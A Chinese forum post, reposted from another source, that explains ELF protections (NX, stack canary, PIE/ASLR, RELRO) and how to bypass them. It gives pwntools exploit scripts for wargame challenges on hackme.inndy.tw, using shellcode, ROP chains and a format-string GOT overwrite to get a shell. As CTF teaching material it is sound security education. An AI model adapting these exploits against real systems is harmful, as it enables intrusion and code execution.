安全矩阵

 找回密码
 立即注册
搜索
查看: 4136|回复: 0

ELF文件保护机制解读及绕过

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-3-24 22:31:54 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-3-24 22:35 编辑

本文转自:湛卢工作室

ELF文件保护机制解读及绕过


查看ELF文件保护机制,通过工具checksec(https://github.com/slimm609/checksec.sh
  1. 1root@ubuntu:~checksec echo2
  2. 2[*] '/root/echo2'
  3. 3    Arch:     amd64-64-little
  4. 4    RELRO:    Partial RELRO
  5. 5    Stack:    No canary found
  6. 6    NX:       NX enabled
  7. 7    PIE:      PIE enabled
复制代码
函数调用惯例示意图:
  1. 1esp -> |deadbeef|
  2. 2       |........|                          <- 可控
  3. 3ebp -> |deadffff|
  4. 4ret -> |&main237|
  5. 5p3  -> |00000001|
  6. 6p2  -> |00000001|
  7. 7p1  -> |bffff608|
  8. 8p0  -> |00000002|
复制代码
无防护攻击
通过输入超长内容,找出buff长度,通过溢出覆盖ret内容到现在的esp地址,构造payload:
  1. 1payload1 = shellcode + (len_buf-len(shellcode)) * "A" + p32(ret_address)
  2. 2payload2 = len_buf * "A" + p32(jump_esp) + shellcode
复制代码

比如scoreboard上的toooomuch:
  1. 1#!/usr/bin/python env
  2. 2
  3. 3from pwn import *
  4. 4
  5. 5pro_process = remote('hackme.inndy.tw',7702)
  6. 6
  7. 7shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
  8. 8shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
  9. 9shellcode += "\x0b\xcd\x80"
  10. 10
  11. 11integrate_shellcode = 'A' * 28 + p32(0xb7e1caa9) + shellcode
  12. 12
  13. 13pro_process.sendafter('Give me your passcode: ',integrate_shellcode)
  14. 14pro_process.interactive()
复制代码
调用可以写入的函数,写入/bin/sh到.bss,通过ROPgadget(https://github.com/JonathanSalwan/ROPgadget)查找pop ret,构造payload,toooomuch的另一种解法:
  1. 1#!/usr/bin/python env
  2. 2from pwn import *
  3. 3
  4. 4elf_file = ELF('./toooomuch')
  5. 5bin_sh_code = '/bin/sh\0'
  6. 6
  7. 7exec_system = elf_file.plt['system']
  8. 8print "function system plt address is: %x" % exec_system
  9. 9gets_addr = elf_file.symbols['gets']
  10. 10print "funcion gets symbols address is %x:" % gets_addr
  11. 11bss_addr = elf_file.bss()
  12. 12print "bss segement address is %x:" % bss_addr
  13. 13
  14. 14length_pattern = 28
  15. 15pro_process = remote('hackme.inndy.tw', 7702)
  16. 16
  17. 17popret_addr = 0x8048455
  18. 18integrate_shellcode = 'K' * length_pattern + p32(gets_addr) + p32(popret_addr) + p32(bss_addr) + p32(exec_system) + p32(bss_addr) + p32(bss_addr)
  19. 19pro_process.sendafter('Give me your passcode: ',integrate_shellcode)
  20. 20pro_process.sendline(bin_sh_code)
  21. 21pro_process.interactive()
复制代码

栈不可执行

NX:    NX enabled  
栈不可执行时,则不可直接将shellcode写入栈  
可通过上述的toooomuch例子,将/bin/sh写入.bss,然后调用system函数

首先,file命令查看文件属性:
  1. 1rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e9ed96cd1a8ea3af86b7b73048c909236d570d9e, not stripped
复制代码
非动态链接程序文件可直接通过ROPgadget生成ropchain,并溢出到栈上,比如scoreboard上面的rop题
  1. 1#!/usr/bin/env python2
  2. 2# execve generated by ROPgadget
  3. 3from pwn import *
  4. 4from struct import pack
  5. 5# Padding goes here
  6. 6
  7. 7p = 'A' * 16
  8. 8p += pack('<I', 0x0806ecda) # pop edx ; ret
  9. 9p += pack('<I', 0x080ea060) # @ .data
  10. 10p += pack('<I', 0x080b8016) # pop eax ; ret
  11. 11p += '/bin'
  12. 12p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
  13. 13p += pack('<I', 0x0806ecda) # pop edx ; ret
  14. 14p += pack('<I', 0x080ea064) # @ .data + 4
  15. 15p += pack('<I', 0x080b8016) # pop eax ; ret
  16. 16p += '//sh'
  17. 17p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
  18. 18p += pack('<I', 0x0806ecda) # pop edx ; ret
  19. 19p += pack('<I', 0x080ea068) # @ .data + 8
  20. 20p += pack('<I', 0x080492d3) # xor eax, eax ; ret
  21. 21p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
  22. 22p += pack('<I', 0x080481c9) # pop ebx ; ret
  23. 23p += pack('<I', 0x080ea060) # @ .data
  24. 24p += pack('<I', 0x080de769) # pop ecx ; ret
  25. 25p += pack('<I', 0x080ea068) # @ .data + 8
  26. 26p += pack('<I', 0x0806ecda) # pop edx ; ret
  27. 27p += pack('<I', 0x080ea068) # @ .data + 8
  28. 28p += pack('<I', 0x080492d3) # xor eax, eax ; ret
  29. 29p += pack('<I', 0x0807a66f) # inc eax ; ret
  30. 30p += pack('<I', 0x0807a66f) # inc eax ; ret
  31. 31p += pack('<I', 0x0807a66f) # inc eax ; ret
  32. 32p += pack('<I', 0x0807a66f) # inc eax ; ret
  33. 33p += pack('<I', 0x0807a66f) # inc eax ; ret
  34. 34p += pack('<I', 0x0807a66f) # inc eax ; ret
  35. 35p += pack('<I', 0x0807a66f) # inc eax ; ret
  36. 36p += pack('<I', 0x0807a66f) # inc eax ; ret
  37. 37p += pack('<I', 0x0807a66f) # inc eax ; ret
  38. 38p += pack('<I', 0x0807a66f) # inc eax ; ret
  39. 39p += pack('<I', 0x0807a66f) # inc eax ; ret
  40. 40p += pack('<I', 0x0806c943) # int 0x80
  41. 41
  42. 42pro_process = remote('hackme.inndy.tw',7704)
  43. 43pro_process.send(p)
  44. 44pro_process.interactive()
复制代码

金丝雀

金丝雀是指,在函数返回之前,会检查栈上特定位置的内容,如果和放入时的不同,则说明栈的数据被异常修改,在有金丝雀的情况下,不可直接溢出,需要通过数组或格式化字符串等指定位置修改,通过修改返回地址、GOT表等内容达到溢出
通过数组溢出,修改指定位置,如scoreboard中的homework:
  1. 1#!/usr/bin/python env
  2. 2
  3. 3from pwn import *
  4. 4import time
  5. 5
  6. 6pro_process = process('./homework')
  7. 7print pro_process.recvline(keepends=True)
  8. 8pro_process.sendafter('What\'s your name? ', '1')
  9. 9#print 'Input name success'
  10. 10print pro_process.recvline(4)
  11. 11pro_process.send('1')
  12. 12print 'Choose edit success'
  13. 13time.sleep(5)
  14. 14pro_process.send('14')
  15. 15print 'Choose edit number success'
  16. 16time.sleep(5)
  17. 17pro_process.send('134514171')
  18. 18print 'Rewrite return address success'
  19. 19pro_process.readline()
  20. 20pro_process.send('0')
  21. 21print 'exit success\\n waiting for interactive...'
  22. 22pro_process.interactive()
复制代码
但是金丝雀防护的开销较大,每个函数都要增加五条汇编指令



地址随机化
可通过格式化字符串漏洞,泄漏栈上的内容,如__libc_start_main_ret地址,通过libc-database确定libc版本,查找libc中的Magic地址,修改某个后续会调用的函数的GOT表,getshell
比如scoreboard中的echo2
  1. 1#!/usr/bin/python env
  2. 2from pwn import *
  3. 3from libnum import *
  4. 4from sys import *
  5. 5elf_file = ELF('./echo2')
  6. 6pro_process = process('./echo2') if argv[1]=="1" else remote('hackme.inndy.tw', 7712)
  7. 7static_exit_got = elf_file.got['exit']
  8. 8static_system_got = elf_file.got['system']
  9. 9# Leak  
  10. 10def standLeak():
  11. 11    payload = "%47$p\n"
  12. 12    pro_process.send(payload)
  13. 13    main_start = pro_process.recvline()
  14. 14    base_oppo = eval(main_start) & 0xfffffffff000
  15. 15    print "base_oppo => " + hex(base_oppo)
  16. 16    return base_oppo
  17. 17
  18. 18# choose: 0 => local,libc2.7    1 => remote libc2.3
  19. 19def libcLeak(choose):
  20. 20    oppo_addr = 0x21b97 if choose=="1" else 0x20830
  21. 21    payload = "%43$p\n"
  22. 22    pro_process.send(payload)
  23. 23    start_ret = pro_process.recvline()
  24. 24    libc_oppo = eval(start_ret) - oppo_addr
  25. 25    print "libc_oppo => " + hex(libc_oppo)
  26. 26    return libc_oppo
  27. 27
  28. 28#write content
  29. 29def writeAddr(content,addr):
  30. 30    if content:
  31. 31        temp_content = content & 0xffff
  32. 32        payload = "%" + str(temp_content).zfill(5) + "x%8$hnAAAA" + p64(addr) + "\n"
  33. 33        print "Write paylaod is: " + payload[1:-1]
  34. 34        wating = raw_input("wait to continue...")
  35. 35        pro_process.send(payload)
  36. 36        pro_process.recv()
  37. 37        #pro_process.send('\n')
  38. 38        #pro_process.recv()
  39. 39        #wating = raw_input("wait to continue...")
  40. 40        print "Write " + hex(temp_content) + " => " + hex(addr)
  41. 41        content = content >> 16
  42. 42        addr = addr + 2
  43. 43        writeAddr(content, addr)
  44. 44    else:
  45. 45        print "Nothing to write anymore."
  46. 46
  47. 47
  48. 48
  49. 49libc23_magic = 0xf0897
  50. 50libc27_magic = 0x4f322
  51. 51libc_magic = libc27_magic if argv[1]=="1" else libc23_magic
  52. 52print "libc_magic => " + hex(libc_magic)
  53. 53Base_oppo = standLeak()
  54. 54Libc_oppo = libcLeak(argv[1])
  55. 55Real_magic = Libc_oppo + libc_magic
  56. 56Writeaddr = Base_oppo + static_system_got
  57. 57print "Real_magic => " + hex(Real_magic)
  58. 58print "Writeaddr => " + hex(Writeaddr)
  59. 59writeAddr(Real_magic, Writeaddr)
  60. 60Wating = raw_input("Wait to check...")
  61. 61pro_process.send('exit\n')
  62. 62#pro_process.recv()
  63. 63pro_process.interactive()
复制代码


Tips

格式化字符串漏洞,是由于printf函数的参数数目并不固定,在直接使用printf(input)时,如果input为%x,则会按照函数的调用惯例获取参数;通过%s参数,结合栈上其他可控的位置,可对任意位置内容进行读取;通过%n,将前面输出内容的长度写入对应地址,可对任意地址内容进行改写。




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 15:56 , Processed in 0.015274 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表